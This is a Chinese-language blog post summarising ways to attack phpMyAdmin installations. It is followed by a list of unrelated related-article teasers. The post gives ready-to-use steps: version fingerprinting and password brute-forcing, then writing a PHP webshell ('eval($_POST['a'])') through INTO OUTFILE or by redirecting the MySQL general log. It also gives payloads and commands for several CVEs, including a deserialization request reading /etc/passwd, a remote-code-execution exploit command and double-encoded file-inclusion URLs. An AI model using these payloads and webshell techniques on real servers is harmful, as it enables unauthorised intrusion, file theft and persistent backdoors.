phpMyAdmin渗透利用总结

phpMyAdmin渗透利用总结

前言
总结一下常见的phpmyadmin的漏洞利用姿势

简介

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

获取phpmyadmin版本信息
在网址根路径后面添加

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

(注意区分大小写)就可以看到phpmyadmin的相关版本信息了,这个方法也是通杀的,只要管理员不把他们删掉。

在这里插入图片描述
phpMyAdmin常规getshell
1.可以看看网站是否存在注入利用注入出来的账号密码登录
2.使用phpmyadmin爆破工具进行爆破进入后台

在这里插入图片描述
phpmyadmin直接写入文件
先要知道根路径利用错误爆破路径等,这里用phpinfo查看根路径

在这里插入图片描述
获取绝对路径的方法

1.phpinfo()
2.出错页面
3.load_file读取网站配置文件 如index.php /etc/passwd
4.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
5.进入后台
6.百度出错信息 zoomeye shadon 搜索error warning
7. @@datadir参数看mysql路径 反猜绝对路径

可以通过写shell进行提权,而我们需要满足以下条件:

1.数据库root权限
2.知道网站的物理路径
3.数据库有写权限

MySQL 5.0+的版本会,然后在服务运行的情况下修改变量变量也可以移动文件位置的,但是必须要对生成日志的目录具有可更改的写权限。(Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQL是另外一个用户,权限管控较大严格,主要取决于权限配置是否得当)

1.首先我们测试站点是否有写权限
执行sql语句,像“ secure_file_priv”这样显示变量
在这里插入图片描述在这里插入图片描述

secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性

编写一句phpinfo文件,

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

这里必须注意要双反斜线,否则会转义,
在这里插入图片描述
在这里插入图片描述
成功写入

利用日志getshell当成文件
被淘汰的原理可以利用日志getshell,原理,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell

默认情况下是关闭的

在这里插入图片描述
在这里插入图片描述
第一步手动开启日志。
set global general_log=‘on’ //首先设置为on
第二步 修改日志路径
set global general_log_file =“d:\phpstudy\www\a.php”
然后 查看是否开启成功
show variables like “general_log%”
在这里插入图片描述
在这里插入图片描述
已成功
然后只要执行的语句都会写入到日志文件中,所以我们查询语句
select ‘<?php eval($_POST['a']);?>’
虽然报错但已经写进去了
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
使用蚁剑成功连接

phpMyAdmin漏洞利用
phpmyadmin反序列化扩展任意文件读取(WooYun-2016-199433)
影响phpMyAdmin 2.x版本,poc如下:

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

在这里插入图片描述
CVE-2016-5734 RCE
突破版本:

1、授权用户;
2、phpmyadmin4.3.0-4.6.2 
3、PHP 4.3.0-5.4.6

最初由于将用户输入的信息拼凑成preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,从而正则模式修改为e,长袍执行命令。

在Kali中有自带的EXP
searchsploit phpmyadmin
python3 40185.py -u root - root -d test -c “system(whoami)” http://192.168.75.130:8080/

在这里插入图片描述
在这里插入图片描述
这个pre_replace引发的漏洞在PHP版本4.3.0-5.4.6中能触发,PHP 5.4.7后就不行了。phpmyadmin在4.6.3中修复了这个漏洞

CVE-2018-12613文件包含
突破版本:phpMyAdmin 4.8.0和4.8.1
最初在index.php中存在一处文件包含逻辑
在这里插入图片描述
在这里插入图片描述
满足以下5个条件

1、不为空  
2、字符串  
3、不以index开头  
4、不在$target_blacklist这个黑名单中  
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。

判断是否存在裂缝经过二次编码绕过
/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/./etc/passwd

在这里插入图片描述
在这里插入图片描述

然后在sql语句中执行一些语句记录到日志,然后在包含即可
SELECT '<?php phpinfo()?>';
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba

在这里插入图片描述
CVE-2014 -8959:本地文件包含
影响范围:phpMyAdmin 4 .0.1–4 .2.12,需要PHP版本<5.3.4,Poc如下:

/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00

在实际利用中可以利用写入文件到/ tmp目录下结合此漏洞完成RCE,php版本可以通过http标头,从表内容到文件的附加内容看到。

其他突破
CVE-2018-19968:任意文件包含/ RCE

参考链接
https://mp.weixin.qq.com/s/9Tkcn2AtGrHUsIbRCQ-ZSQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358389.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL之条件判断专题

Case when (case when 情况1 then 结果1 when 情况1 then 结果1 else &#xff0b;剩余结果 end ) 列名 IF表达式 IF(判断内容&#xff0c;0&#xff0c;1) SELECT IF( sex1&#xff0c;男 &#xff0c;女 )sex from student IFNULL表达式 IF(判断内容&#xff0c;x) 假如判…

Struts2漏洞和Struts Scan工具实战

一、Apache Struts 2漏洞背景 1.漏洞详情 2017年3月6日&#xff0c;Apache Struts 2被曝存在远程命令执行漏洞。在使用基于Jakarta插件的文件上传功能条件下&#xff0c;恶意用户可以通过修改HTTP请求头中的Content-Type值构造恶意代码&#xff0c;在服务器上执行系统命令&…

2020年前端招聘技术概览

学习当下前端技术最好的方法就是从求职网站上找出前端的招聘要求&#xff0c;因为前端技术每年变化都很快&#xff0c;每个阶段都会不一样&#xff0c;这里简单从网站招聘要求罗列&#xff0c;仅供参考。更有针对性的是针对每个公司的招聘要求写简历&#xff0c;学习相关技术&a…

jexboss工具 -- JBOSS未授权访问漏洞利用

其实所有的节日&#xff0c;都不是为了礼物和红包而生&#xff0c;而是提醒我们不要忘记爱与被爱&#xff0c;生活需要仪式感&#xff0c;而你需要的是在乎和关爱。。。 ---- 网易云热评 小受&#xff1a;Ubuntu20 小攻&#xff1a;Kali2020 一、搭建该漏洞环境 查看上一篇文章…

前端工程师有哪些面试技巧值得掌握?

这段时间受到疫情的影响&#xff0c;本身做java开发的&#xff0c;面试了入职了一个外包公司的前端岗位&#xff0c;入职属于驻场开发的那种&#xff0c;前几周基本没啥事&#xff0c;一般经理会让你刷题&#xff0c;到了驻场那边需要机试过关才能在那边开发&#xff0c;这边在…

Fastjson批量检查及一键利用工具

0x01 序章 上次讲解过手动利用fastjson&#xff0c;但讲的过于太简单了。根据大家的反应&#xff0c;收集如下几个问题。 1、如何盲打fastjson 2、判断fastjson的指纹 3、各版本payload以及使用ldap模式监听。 下面我就一一解答&#xff0c;我只是把我在网上查到的资料消化 后分…

动态规划--重拾我的“背包”

前言&#xff1a; 背包问题所涉及的是经典的动态规划算法。因为长时间不AC了&#xff0c;渐渐感觉思维也都麻了&#xff01;本文将基础的背包问题做个小结&#xff0c;方便以后翻阅。感兴趣的朋友也可以阅读一下~------------------------&#xff08;1&#xff09;如何从n个重…

Java 8 SE可选,严格的方法

大约两周前&#xff0c;Stephen Colebourne提出了使用Optional的实用方法 。 如果您阅读了它&#xff0c;您可能会从我以前的建议中猜到我不同意。 总览 我必须以免责声明开头&#xff0c;但随后我将直接解释为什么我认为他的方法不够理想。 所有不归因于他人的报价均摘自Ste…

routersploit简单实例

https://github.com/reverse-shell/routersploit RouterSploit。它包含了27个品牌的上百种漏洞利用模块&#xff0c;涉及的路由器、摄像头等设备有几百种。渗透的时候&#xff0c;用户首先根据目标设备的品牌选择对应的扫描模块&#xff0c;用以发现漏洞。一旦漏洞识别&#x…

《Spring3.0就这么简单》

第一章 认识Spring 1、Spring提供的IOC容器&#xff0c;是Spring大杀器之一。容器将对象之间的依赖关系交给Spring进行控制&#xff0c;采用配制的方式对依赖关系进行描述&#xff0c;由Ioc容器负责依赖类之间的创建、拼接、管理、获取工作 2、Spring提供的第二大杀器&#xff…

前端面试题之http/HTML/浏览器(一)

1.cookie sessionStorage localStorage区别&#xff1f;答&#xff1a;cookie数据始终在同源的http请求中携带(即使不需要)&#xff0c;即cookie在浏览器和服务器间来回传递cookie数据还有路径&#xff08;path&#xff09;的概念&#xff0c;可以限制。cookie只属于某个路径下…

[Vulhub](WooYun-2016-199433)phpmyadmin反序列化漏洞

0x00 预备知识 什么是序列化 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间&#xff0c;对象将其当前状态写入到临时或持久性存储区。以后&#xff0c;可以通过从存储区中读取或反序列化对象的状态&#xff0c;重新创建该对象。【将状…

用户指南接口

在AppDelegate在代码 视图控制器里的 版权声明&#xff1a;本文博客原创文章。博客&#xff0c;未经同意&#xff0c;不得转载。 转载于:https://www.cnblogs.com/bhlsheji/p/4747547.html

前端面试题之http/HTML/浏览器(二)

csrf和xss的网络攻击及防范&#xff1f;答&#xff1a;CSRF&#xff1a;跨站请求伪造&#xff0c;可以理解为攻击者盗用了用户的身份&#xff0c;以用户的名义发送了恶意请求&#xff0c;比如用户登录了一个网站后&#xff0c;立刻在另一个&#xff54;&#xff41;&#xff42…

查看目标主机安装的杀毒软件

命令&#xff1a; wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 参考链接&#xff1a;https://stackoverflow.com/questions/42472336/is-there-a-command-to-check-if-there-was-any-antivirus-insta…

Netty系列之Netty百万级推送服务设计要点

原文&#xff1a;http://www.infoq.com/cn/articles/netty-million-level-push-service-design-points 1. 背景 1.1. 话题来源 最近很多从事移动互联网和物联网开发的同学给我发邮件或者微博私信我&#xff0c;咨询推送服务相关的问题。问题五花八门&#xff0c;在帮助大家答疑…

上架APPStore需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用&#xff0c;应用名称我就不说啦&#xff0c;这篇文章主要讲述一下上架苹果应用商店APPStore需要准备哪些材料&#xff0c;有相关的困扰欢迎私信我。一、上架流程1. 注册苹果企业账号2. 创建测试证书&#xff0c;发布证书 (使用Mac)3…

浅谈C++设计模式之工厂方法(Factory Method)

为什么要用设计模式&#xff1f;根本原因是为了代码复用&#xff0c;增加可维护性。 面向对象设计坚持的原则&#xff1a;开闭原则&#xff08;Open Closed Principle&#xff0c;OCP&#xff09;、里氏代换原则&#xff08;Liskov Substitution Principle&#xff0c;LSP&…

上架Android应用到腾讯应用包、百度手机助手、华为应用市场、小米应用商店、阿里应用分发平台需要准备哪些材料?...

前端时间用敏捷式开发平台开发了一款APP应用&#xff0c;应用名称我就不说啦&#xff0c;这篇文章主要讲述一下上架各大安卓应用商店&#xff08;腾讯应用宝、阿里应用商店、百度手机助手、华为应用市场、小米应用商店&#xff09;需要准备哪些材料&#xff0c;有相关的困扰欢迎…

【APICloud系列|18】上架Android应用到腾讯应用包、百度手机助手、华为应用市场、小米应用商店、阿里应用分发平台需要准备哪些材料?

前端时间用敏捷式开发平台开发了一款APP应用,应用名称我就不说啦,这篇文章主要讲述一下上架各大安卓应用商店(腾讯应用宝、阿里应用商店、百度手机助手、华为应用市场、小米应用商店)需要准备哪些材料,有相关的困扰欢迎私信我。 一、应用商店选择 推荐平台(六选五) 1.…